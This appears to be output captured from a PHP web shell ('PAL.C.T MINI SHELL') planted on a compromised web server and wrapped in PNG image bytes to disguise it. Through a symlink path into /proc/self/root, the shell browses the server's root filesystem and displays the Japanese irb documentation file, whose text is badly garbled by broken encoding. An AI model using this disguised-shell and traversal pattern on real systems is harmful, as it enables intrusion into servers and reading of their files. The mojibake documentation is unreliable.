‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/proc/self/root/usr/share/doc/ruby-irb-1.8.7.374/
upload
files >> /var/www/html/sub/images/sym/root/proc/self/root/usr/share/doc/ruby-irb-1.8.7.374/irb.rd.ja

irb -- interactive ruby
				$Release Version: 0.9.5 $
			   	$Revision: 11708 $
			   	$Date: 2007-02-13 08:01:19 +0900 (Tue, 13 Feb 2007) $
			   	by Keiju ISHITSUKA(keiju@ruby-lang.org)
=begin
= irbã¨ã¯?

irbã¯interactive rubyã®ç•¥ã§ã™. rubyã®å¼ã‚’標準入力ã‹ã‚‰ç°¡å˜ã«å…¥åŠ›/実行ã™ã‚‹
ãŸã‚ã®ãƒ„ールã§ã™.

= èµ·å‹•

  % irb

ã§è¡Œãªã„ã¾ã™. 

= ä½¿ã„æ–¹

irbã®ä½¿ã„æ–¹ã¯, Rubyã•ãˆçŸ¥ã£ã¦ã„れã°ã„ãŸã£ã¦ç°¡å˜ã§ã™. 基本的ã«ã¯ irb ã¨
ã„ã†ã‚³ãƒžãƒ³ãƒ‰ã‚’実行ã™ã‚‹ã ã‘ã§ã™. irbを実行ã™ã‚‹ã¨, 以下ã®ã‚ˆã†ãªãƒ—ロンプ
トãŒè¡¨ã‚Œã¦ãã¾ã™. 後ã¯, rubyã®å¼ã‚’入れã¦ä¸‹ã•ã„. å¼ãŒå®Œçµã—ãŸæ™‚点ã§å®Ÿè¡Œ
ã•れã¾ã™.

  dim% irb
  irb(main):001:0> 1+2
  3
  irb(main):002:0> class Foo
  irb(main):003:1>  def foo
  irb(main):004:2>    print 1
  irb(main):005:2>  end
  irb(main):006:1> end
  nil
  irb(main):007:0> 

ã¾ãŸ, irbã¯Readlineモジュールã«ã‚‚対応ã—ã¦ã„ã¾ã™. ReadlineモジュールãŒ
インストールã•れã¦ã„る時ã«ã¯, ãれを使ã†ã®ãŒæ¨™æº–ã®å‹•作ã«ãªã‚Šã¾ã™.

= コマンドオプション

  irb.rb [options] file_name opts
  options:
  -f		    ~/.irbrc を読ã¿è¾¼ã¾ãªã„.
  -m		    bcモード(分数, 行列ã®è¨ˆç®—ãŒã§ãã‚‹)
  -d                $DEBUG ã‚’trueã«ã™ã‚‹(ruby -d ã¨åŒã˜)
  -Kc		    ruby -Kcã¨åŒã˜
  -r load-module    ruby -r ã¨åŒã˜.
  --verbose	    ã“れã‹ã‚‰å®Ÿè¡Œã™ã‚‹è¡Œã‚’表示ã™ã‚‹(デフォルト)
  --noverbose	    ã“れã‹ã‚‰å®Ÿè¡Œã™ã‚‹è¡Œã‚’表示ã—ãªã„
  --echo	    å®Ÿè¡Œçµæžœã‚’表示ã™ã‚‹(デフォルト)
  --noecho	    å®Ÿè¡Œçµæžœã‚’表示ã—ãªã„
  --inspect	    çµæžœå‡ºåŠ›ã«inspectを用ã„ã‚‹(bcモード以外ã¯ãƒ‡ãƒ•ォルト). 
  --noinspect	    çµæžœå‡ºåŠ›ã«inspectを用ã„ãªã„.
  --readline	    readlineライブラリを利用ã™ã‚‹.
  --noreadline	    readlineライブラリを利用ã—ãªã„. デフォルトã®å‹•作ã¯,
		    inf-ruby-mode以外ã§readlineライブラリを利用ã—よã†
		    ã¨ã™ã‚‹. 
  --prompt prompt-mode
  --prompt-mode prompt-mode
		    プロンプトモードを切替ãˆã¾ã™. ç¾åœ¨å®šç¾©ã•れã¦ã„るプ
		    ロンプトモードã¯, default, simple, xmp, inf-rubyãŒ
		    用æ„ã•れã¦ã„ã¾ã™. デフォルトã¯defaultプロンプトモー
		    ドã«ãªã£ã¦ã„ã¾ã™.
			    
  --inf-ruby-mode   emacsã®inf-ruby-mode用ã®ãƒ—ロンプト表示を行ãªã†. 特
		    ã«æŒ‡å®šãŒãªã„é™ã‚Š, readlineライブラリã¯ä½¿ã‚ãªããªã‚‹.
  --simple-prompt
		    éžå¸¸ã«ã‚·ãƒ³ãƒ—ルãªãƒ—ロンプトを用ã„るモードã§ã™.
  --noprompt	    プロンプト表示を行ãªã‚ãªã„.
  --tracer	    コマンド実行時ã«ãƒˆãƒ¬ãƒ¼ã‚¹ã‚’行ãªã†.
  --back-trace-limit n
		    ãƒãƒƒã‚¯ãƒˆãƒ¬ãƒ¼ã‚¹è¡¨ç¤ºã‚’ãƒãƒƒã‚¯ãƒˆãƒ¬ãƒ¼ã‚¹ã®é ­ã‹ã‚‰ n, 後ã‚
		    ã‹ã‚‰nã ã‘行ãªã†. デフォルトã¯16 
  --irb_debug n	    irbã®ãƒ‡ãƒãƒƒã‚°ãƒ‡ãƒãƒƒã‚°ãƒ¬ãƒ™ãƒ«ã‚’nã«è¨­å®šã™ã‚‹(利用ã—ãª
		    ã„æ–¹ãŒç„¡é›£ã§ã—ょã†).
  -v, --version	    irbã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã‚’表示ã™ã‚‹

= コンフィギュレーション

irb起動時ã«``~/.irbrc''を読ã¿è¾¼ã¿ã¾ã™. ã‚‚ã—存在ã—ãªã„å ´åˆã¯,
``.irbrc'', ``irb.rc'', ``_irbrc'', ``$irbrc''ã®é †ã«loadを試ã¿ã¾ã™.

オプションを設定ã™ã‚‹ä»£ã‚りã«, 以下ã®ã‚³ãƒžãƒ³ãƒ‰ã§ã‚‚デフォルトã®å‹•作を設定
ã§ãã¾ã™.

  IRB.conf[:IRB_NAME]="irb"
  IRB.conf[:MATH_MODE]=false
  IRB.conf[:USE_TRACER]=false
  IRB.conf[:USE_LOADER]=false
  IRB.conf[:IGNORE_SIGINT]=true
  IRB.conf[:IGNORE_EOF]=false
  IRB.conf[:INSPECT_MODE]=nil
  IRB.conf[:IRB_RC] = nil
  IRB.conf[:BACK_TRACE_LIMIT]=16
  IRB.conf[:USE_LOADER] = false
  IRB.conf[:USE_READLINE] = nil
  IRB.conf[:USE_TRACER] = false
  IRB.conf[:IGNORE_SIGINT] = true
  IRB.conf[:IGNORE_EOF] = false
  IRB.conf[:PROMPT_MODE] = :DEFALUT
  IRB.conf[:PROMPT] = {...}
  IRB.conf[:DEBUG_LEVEL]=0
  IRB.conf[:VERBOSE]=true

== プロンプトã®è¨­å®š

プロンプトをカスタマイズã—ãŸã„時ã«ã¯, 

   IRB.conf[:PROMPT]

を用ã„ã¾ã™. 例ãˆã°, .irbrcã®ä¸­ã§ä¸‹ã®ã‚ˆã†ãªå¼ã‚’記述ã—ã¾ã™:

   IRB.conf[:PROMPT][:MY_PROMPT] = { # プロンプトモードã®åå‰
     :PROMPT_I => nil,		  # 通常ã®ãƒ—ロンプト
     :PROMPT_N => nil,		  # 継続行ã®ãƒ—ロンプト
     :PROMPT_S => nil,		  # 文字列ãªã©ã®ç¶™ç¶šè¡Œã®ãƒ—ロンプト
     :PROMPT_C => nil,		  # å¼ãŒç¶™ç¶šã—ã¦ã„る時ã®ãƒ—ロンプト
     :RETURN => "    ==>%s\n"	  # リターン時ã®ãƒ—ロンプト
   }

プロンプトモードを指定ã—ãŸã„時ã«ã¯,

  irb --prompt my-prompt

ã§ãã®ãƒ—ロンプトモードã§èµ·å‹•ã•れã¾ã™. ã¾ãŸã¯, .irbrcã«ä¸‹å¼ã‚’記述ã—ã¦ã‚‚
OKã§ã™.

  IRB.conf[:PROMPT_MODE] = :MY_PROMPT

PROMPT_I, PROMPT_N, PROMPT_S, PROMPT_Cã¯, フォーマットを指定ã—ã¾ã™.

  %N	èµ·å‹•ã—ã¦ã„るコマンドåãŒå‡ºåŠ›ã•れる.
  %m	mainオブジェクト(self)ãŒto_sã§å‡ºåŠ›ã•れる.
  %M	mainオブジェクト(self)ãŒinspectã•れã¦å‡ºåŠ›ã•れる.
  %l	文字列中ã®ã‚¿ã‚¤ãƒ—を表ã™(", ', /, ], `]'ã¯%wã®ä¸­ã®æ™‚)
  %NNi	インデントã®ãƒ¬ãƒ™ãƒ«ã‚’表ã™. NNã¯æ•°å­—ãŒå…¥ã‚Šprintfã®%NNdã¨åŒã˜. çœ
	ç•¥å¯èƒ½
  %NNn	行番å·ã‚’表ã—ã¾ã™.
  %%    %

例ãˆã°, デフォルトã®ãƒ—ロンプトモードã¯:

  IRB.conf[:PROMPT_MODE][:DEFAULT] = {
      :PROMPT_I => "%N(%m):%03n:%i> ",
      :PROMPT_N => "%N(%m):%03n:%i> ",
      :PROMPT_S => "%N(%m):%03n:%i%l ",
      :PROMPT_C => "%N(%m):%03n:%i* ",
      :RETURN => "%s\n"
  } 

ã¨ãªã£ã¦ã„ã¾ã™.

RETURNã¯, ç¾åœ¨ã®ã¨ã“ã‚printfå½¢å¼ã§ã™. å°†æ¥ä»•様ãŒå¤‰ã‚ã‚‹ã‹ã‚‚知れã¾ã›ã‚“.

== サブirbã®è¨­å®š

コマンドラインオプションãŠã‚ˆã³IRB.confã¯(サブ)irb起動時ã®ãƒ‡ãƒ•ォルトã®
設定を決ã‚ã‚‹ã‚‚ã®ã§, `5. コマンド'ã«ã‚ã‚‹confã§å€‹åˆ¥ã®(サブ)irbã®è¨­å®šãŒã§
ãるよã†ã«ãªã£ã¦ã„ã¾ã™.

IRB.conf[:IRB_RC]ã«procãŒè¨­å®šã•れã¦ã„ã‚‹ã¨, サブirbã‚’èµ·å‹•ã™ã‚‹æ™‚ã«ãã®
procã‚’irbã®ã‚³ãƒ³ãƒ†ã‚­ã‚¹ãƒˆã‚’引数ã¨ã—ã¦å‘¼ã³å‡ºã—ã¾ã™. ã“れã«ã‚ˆã£ã¦å€‹åˆ¥ã®ã‚µ
ブirbã”ã¨ã«è¨­å®šã‚’変ãˆã‚‹ã“ã¨ãŒã§ãるよã†ã«ãªã‚Šã¾ã™.


= コマンド

irb拡張コマンドã¯, ç°¡å˜ãªåå‰ã¨é ­ã«`irb_'ã‚’ã¤ã‘ãŸåå‰ã¨ä¸¡æ–¹å®šç¾©ã•れã¦
ã„ã¾ã™. ã“れã¯, ç°¡å˜ãªåå‰ãŒoverrideã•ã‚ŒãŸæ™‚ã®ãŸã‚ã§ã™.

--- exit, quit, irb_exit	
    終了ã™ã‚‹. 
    サブirbã®å ´åˆ, ãã®ã‚µãƒ–irbを終了ã™ã‚‹.

--- conf, irb_context
    irbã®ç¾åœ¨ã®è¨­å®šã‚’表示ã™ã‚‹. 設定ã®å¤‰æ›´ã¯, confã«ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸ã‚’é€ã‚‹ã“
    ã¨ã«ã‚ˆã£ã¦è¡Œãªãˆã‚‹. 

--- conf.eval_history = N
    å®Ÿè¡Œçµæžœã®ãƒ’ストリ機能ã®è¨­å®š.
    nnã¯æ•´æ•°ã‹nilã§ nn>0 ã§ã‚れã°ãã®æ•°ã ã‘ヒストリã«ãŸã‚る。nn==0ã®æ™‚ã¯
    無制é™ã«è¨˜æ†¶ã™ã‚‹ã€nilã ã¨ãƒ’ストリ機能ã¯ã‚„ã‚ã‚‹(デフォルト). 

--- Conf.back_trace_limit
    ãƒãƒƒã‚¯ãƒˆãƒ¬ãƒ¼ã‚¹è¡¨ç¤ºã‚’ãƒãƒƒã‚¯ãƒˆãƒ¬ãƒ¼ã‚¹ã®é ­ã‹ã‚‰n, 後ã‚ã‹ã‚‰nã ã‘行ãªã†.
    デフォルトã¯16
    
--- conf.debug_level = N
    irb用ã®ãƒ‡ãƒãƒƒã‚°ãƒ¬ãƒ™ãƒ«ã®è¨­å®š

--- conf.ignore_eof = true/false
    ^DãŒå…¥åŠ›ã•ã‚ŒãŸæ™‚ã®å‹•作を設定ã™ã‚‹. trueã®æ™‚ã¯^Dを無視ã™ã‚‹, falseã®
    時ã¯irbを終了ã™ã‚‹. 

--- conf.ignore_sigint= true/false
    ^CãŒå…¥åŠ›ã•ã‚ŒãŸæ™‚ã®å‹•作を設定ã™ã‚‹. false時ã¯, irbを終了ã™ã‚‹. trueã®
    時ã®å‹•作ã¯ä»¥ä¸‹ã®ã‚ˆã†ã«ãªã‚‹:
      入力中: ã“れã¾ã§å…¥åŠ›ã—ãŸã‚‚ã®ã‚’キャンセルã—ãƒˆãƒƒãƒ—ãƒ¬ãƒ™ãƒ«ã«æˆ»ã‚‹. 
      実行中: 実行を中止ã™ã‚‹.

--- conf.inf_ruby_mode = true/false
    inf-ruby-mode用ã®ãƒ—ロンプト表示を行ãªã†. デフォルトã¯false.

--- conf.inspect_mode = true/false/nil
    インスペクトモードを設定ã™ã‚‹.
    true: インスペクトã—ã¦è¡¨ç¤ºã™ã‚‹.
    false: 通常ã®printã§è¡¨ç¤ºã™ã‚‹.
    nil: 通常モードã§ã‚れã°, inspect modeã¨ãªã‚Š, mathãƒ¢ãƒ¼ãƒ‰ã®æ™‚ã¯, non
	 inspect modeã¨ãªã‚‹.   

--- conf.math_mode
    å‚ç…§ã®ã¿. bcモード(分数, 行列ã®è¨ˆç®—ãŒã§ãã¾ã™)ã‹ã©ã†ã‹?

--- conf.use_loader = true/false
    load/require時ã«irbã®file読ã¿è¾¼ã¿æ©Ÿèƒ½ã‚’用ã„るモードã®ã‚¹ã‚¤ãƒƒãƒ(デフォ
    ルトã¯ç”¨ã„ãªã„). ã“ã®ãƒ¢ãƒ¼ãƒ‰ã¯IRB全体ã«å映ã•れる.

--- conf.prompt_c
    ifã®ç›´å¾Œãªã©, 行ãŒç¶™ç¶šã—ã¦ã„る時ã®ãƒ—ロンプト.

--- conf.prompt_i
    通常ã®ãƒ—ロンプト.

--- conf.prompt_s
    文字列中ãªã©ã‚’表ã™ãƒ—ロンプト.

--- conf.rc
    ~/.irbrcを読ã¿è¾¼ã‚“ã ã‹ã©ã†ã‹?

--- conf.use_prompt = true/false
    プロンプト表示ã™ã‚‹ã‹ã©ã†ã‹? デフォルトã§ã¯ãƒ—ロンプトを表示ã™ã‚‹.

--- conf.use_readline = true/false/nil
    readlineを使ã†ã‹ã©ã†ã‹?
    true: readlineを使ã†.
    false: readlineを使ã‚ãªã„.
    nil: (デフォルト)inf-ruby-mode以外ã§readlineライブラリを利用ã—よ
         ã†ã¨ã™ã‚‹.  
#
#--- conf.verbose=T/F
#    irbã‹ã‚‰ã„ã‚ã„ã‚ãªãƒ¡ãƒƒã‚»ãƒ¼ã‚¸ã‚’出力ã™ã‚‹ã‹?

--- cws, chws, irb_cws, irb_chws, irb_change_workspace [obj]
    objã‚’selfã¨ã™ã‚‹. objãŒçœç•¥ã•れãŸã¨ãã¯, home workspace, ã™ãªã‚ã¡
    irbã‚’èµ·å‹•ã—ãŸã¨ãã®main objectã‚’selfã¨ã™ã‚‹.

--- pushws, irb_pushws, irb_push_workspace [obj]
    UNIXシェルコマンドã®pushdã¨åŒæ§˜.

--- popws, irb_popws, irb_pop_workspace
    UNIXシェルコマンドã®popdã¨åŒæ§˜.

--- irb [obj]
    サブirbã‚’ç«‹ã¡ã‚ã’ã‚‹. objãŒæŒ‡å®šã•ã‚ŒãŸæ™‚ã¯, ãã®objã‚’selfã¨ã™ã‚‹.

--- jobs, irb_jobs
    サブirbã®ãƒªã‚¹ãƒˆ

--- fg n, irb_fg n
    指定ã—ãŸã‚µãƒ–irbã«ã‚¹ã‚¤ãƒƒãƒã™ã‚‹. nã¯, 次ã®ã‚‚ã®ã‚’指定ã™ã‚‹.

      irb番å·
      スレッド
      irbオブジェクト
      self(irb objã§èµ·å‹•ã—ãŸæ™‚ã®obj)

--- kill n, irb_kill n
      サブirbã‚’killã™ã‚‹. nã¯fgã¨åŒã˜.

--- souce, irb_source  path
    UNIXシェルコマンドã®sourceã¨ä¼¼ã¦ã„ã‚‹. ç¾åœ¨ã®ç’°å¢ƒä¸Šã§path内ã®ã‚¹ã‚¯ãƒª
    プトを評価ã™ã‚‹.

--- irb_load path, prev

    Rubyã®loadã®irb版.

= システム変数

--- _  
    å‰ã®è¨ˆç®—ã®å®Ÿè¡Œçµæžœã‚’覚ãˆã¦ã„ã‚‹(ローカル変数).
--- __ 
    å®Ÿè¡Œçµæžœã®å±¥æ­´ã‚’覚ãˆã¦ã„ã‚‹.
    __[line_no]ã§ã€ãã®è¡Œã§å®Ÿè¡Œã—ãŸçµæžœã‚’å¾—ã‚‹ã“ã¨ãŒã§ãã‚‹. line_noãŒè² ã®
    時ã«ã¯ã€æœ€æ–°ã®çµæžœã‹ã‚‰-line_noå‰ã®çµæžœã‚’å¾—ã‚‹ã“ã¨ãŒã§ãã‚‹.

=  使用例

以下ã®ã‚ˆã†ãªæ„Ÿã˜ã§ã™.

  dim% ruby irb.rb
  irb(main):001:0> irb                        # サブirbã®ç«‹ã¡ã‚ã’
  irb#1(main):001:0> jobs                     # サブirbã®ãƒªã‚¹ãƒˆ
  #0->irb on main (#<Thread:0x400fb7e4> : stop)
  #1->irb#1 on main (#<Thread:0x40125d64> : running)
  nil
  irb#1(main):002:0> fg 0                     # jobã®ã‚¹ã‚¤ãƒƒãƒ
  nil
  irb(main):002:0> class Foo;end
  nil
  irb(main):003:0> irb Foo                    # Fooをコンテキストã—ã¦irb
					      # ç«‹ã¡ã‚ã’
  irb#2(Foo):001:0> def foo                   # Foo#fooã®å®šç¾©
  irb#2(Foo):002:1>   print 1
  irb#2(Foo):003:1> end
  nil
  irb#2(Foo):004:0> fg 0                      # jobをスイッãƒ
  nil
  irb(main):004:0> jobs                       # jobã®ãƒªã‚¹ãƒˆ
  #0->irb on main (#<Thread:0x400fb7e4> : running)
  #1->irb#1 on main (#<Thread:0x40125d64> : stop)
  #2->irb#2 on Foo (#<Thread:0x4011d54c> : stop)
  nil
  irb(main):005:0> Foo.instance_methods       # Foo#fooãŒã¡ã‚ƒã‚“ã¨å®šç¾©ã•
					      # れã¦ã„ã‚‹
  ["foo"]
  irb(main):006:0> fg 2                       # jobをスイッãƒ
  nil
  irb#2(Foo):005:0> def bar                   # Foo#barを定義
  irb#2(Foo):006:1>  print "bar"
  irb#2(Foo):007:1> end
  nil
  irb#2(Foo):010:0>  Foo.instance_methods
  ["bar", "foo"]
  irb#2(Foo):011:0> fg 0                      
  nil
  irb(main):007:0> f = Foo.new
  #<Foo:0x4010af3c>
  irb(main):008:0> irb f                      # Fooã®ã‚¤ãƒ³ã‚¹ã‚¿ãƒ³ã‚¹ã§irbã‚’
					      # ç«‹ã¡ã‚ã’ã‚‹.
  irb#3(#<Foo:0x4010af3c>):001:0> jobs
  #0->irb on main (#<Thread:0x400fb7e4> : stop)
  #1->irb#1 on main (#<Thread:0x40125d64> : stop)
  #2->irb#2 on Foo (#<Thread:0x4011d54c> : stop)
  #3->irb#3 on #<Foo:0x4010af3c> (#<Thread:0x4010a1e0> : running)
  nil
  irb#3(#<Foo:0x4010af3c>):002:0> foo         # f.fooã®å®Ÿè¡Œ
  nil
  irb#3(#<Foo:0x4010af3c>):003:0> bar         # f.barã®å®Ÿè¡Œ
  barnil
  irb#3(#<Foo:0x4010af3c>):004:0> kill 1, 2, 3# jobã®kill
  nil
  irb(main):009:0> jobs
  #0->irb on main (#<Thread:0x400fb7e4> : running)
  nil
  irb(main):010:0> exit                       # 終了
  dim% 

= 使用上ã®åˆ¶é™

irbã¯, 評価ã§ãる時点(å¼ãŒé–‰ã˜ãŸæ™‚点)ã§ã®é€æ¬¡å®Ÿè¡Œã‚’行ãªã„ã¾ã™. ã—ãŸãŒã£
ã¦, rubyを直接使ã£ãŸæ™‚ã¨, 若干異ãªã‚‹å‹•作を行ãªã†å ´åˆãŒã‚りã¾ã™.

ç¾åœ¨æ˜Žã‚‰ã‹ã«ãªã£ã¦ã„ã‚‹å•題点を説明ã—ã¾ã™.

== ローカル変数ã®å®£è¨€

rubyã§ã¯, 以下ã®ãƒ—ログラムã¯ã‚¨ãƒ©ãƒ¼ã«ãªã‚Šã¾ã™.

  eval "foo = 0"
  foo
  --
  -:2: undefined local variable or method `foo' for #<Object:0x40283118> (NameError)
  ---
  NameError

ã¨ã“ã‚ãŒ, irbを用ã„ã‚‹ã¨

  >> eval "foo = 0"
  => 0
  >> foo
  => 0

ã¨ãªã‚Š, エラーを起ã“ã—ã¾ã›ã‚“. ã“れã¯, rubyãŒæœ€åˆã«ã‚¹ã‚¯ãƒªãƒ—ト全体をコン
パイルã—ã¦ãƒ­ãƒ¼ã‚«ãƒ«å¤‰æ•°ã‚’決定ã™ã‚‹ã‹ã‚‰ã§ã™. ãれã«å¯¾ã—, irbã¯å®Ÿè¡Œå¯èƒ½ã«
ãªã‚‹(å¼ãŒé–‰ã˜ã‚‹)ã¨è‡ªå‹•çš„ã«è©•価ã—ã¦ã„ã‚‹ã‹ã‚‰ã§ã™. 上記ã®ä¾‹ã§ã¯, 

  evel "foo = 0" 

を行ãªã£ãŸæ™‚点ã§è©•価を行ãªã„, ãã®æ™‚点ã§å¤‰æ•°ãŒå®šç¾©ã•れるãŸã‚, 次å¼ã§ 
変数fooã¯å®šç¾©ã•れã¦ã„ã‚‹ã‹ã‚‰ã§ã™.

ã“ã®ã‚ˆã†ãªrubyã¨irbã®å‹•作ã®é•ã„を解決ã—ãŸã„å ´åˆã¯, begin...endã§æ‹¬ã£ã¦
ãƒãƒƒãƒçš„ã«å®Ÿè¡Œã—ã¦ä¸‹ã•ã„:

  >> begin
  ?>   eval "foo = 0"
  >>   foo
  >> end
  NameError: undefined local variable or method `foo' for #<Object:0x4013d0f0>
  (irb):3
  (irb_local_binding):1:in `eval'

== ヒアドキュメント

ç¾åœ¨ã®ã¨ã“ã‚ヒアドキュメントã®å®Ÿè£…ã¯ä¸å®Œå…¨ã§ã™. 

== シンボル

シンボルã§ã‚ã‚‹ã‹ã©ã†ã‹ã®åˆ¤æ–­ã‚’é–“é•ãˆã‚‹ã“ã¨ãŒã‚りã¾ã™. 具体的ã«ã¯å¼ãŒå®Œäº†
ã—ã¦ã„ã‚‹ã®ã«ç¶™ç¶šè¡Œã¨è¦‹ãªã™ã“ã¨ãŒã‚りã¾ã™.

=end

% Begin Emacs Environment
% Local Variables:
% mode: text
% comment-column: 0
% comment-start: "%"
% comment-end: "\n"
% End:
%

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚